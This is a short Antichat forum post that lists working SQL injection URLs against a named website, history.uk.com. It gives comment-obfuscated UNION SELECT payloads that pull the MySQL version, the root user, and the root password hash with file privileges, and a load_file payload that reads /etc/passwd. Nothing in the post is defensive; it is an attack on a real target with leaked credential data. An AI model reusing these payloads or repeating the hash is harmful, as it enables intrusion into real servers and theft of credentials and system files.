ANTICHAT — форум по информационной безопасности, OSINT и технологиям

history.uk.com -
http://www.history.uk.com/mailing/index.php?iD=0/**/and/**/1=2%20/**/union/**/all/**/select/**/version(),2/**/FROM/**/mysql.user/*
version - 5.0.20-log
user - root@localhost
database - history

mysql.user
user - root
password - C08D908F016260368DD6A842F1E03730F8FD0D20
фильтраця - p
file_priv - Y
http://www.history.uk.com/mailing/index.php?iD=0/**/and/**/1=2%20/**/union/**/all/**/select/**/concat_ws(char(42,42,42),user,password,'p',file_pr iv),2/**/FROM/**/mysql.user/*

etc/passwd

http://www.history.uk.com/mailing/index.php?iD=0/**/and/**/1=2%20/**/union/**/all/**/select/**/load_file('/etc/passwd'),2/**/FROM/**/mysql.user/*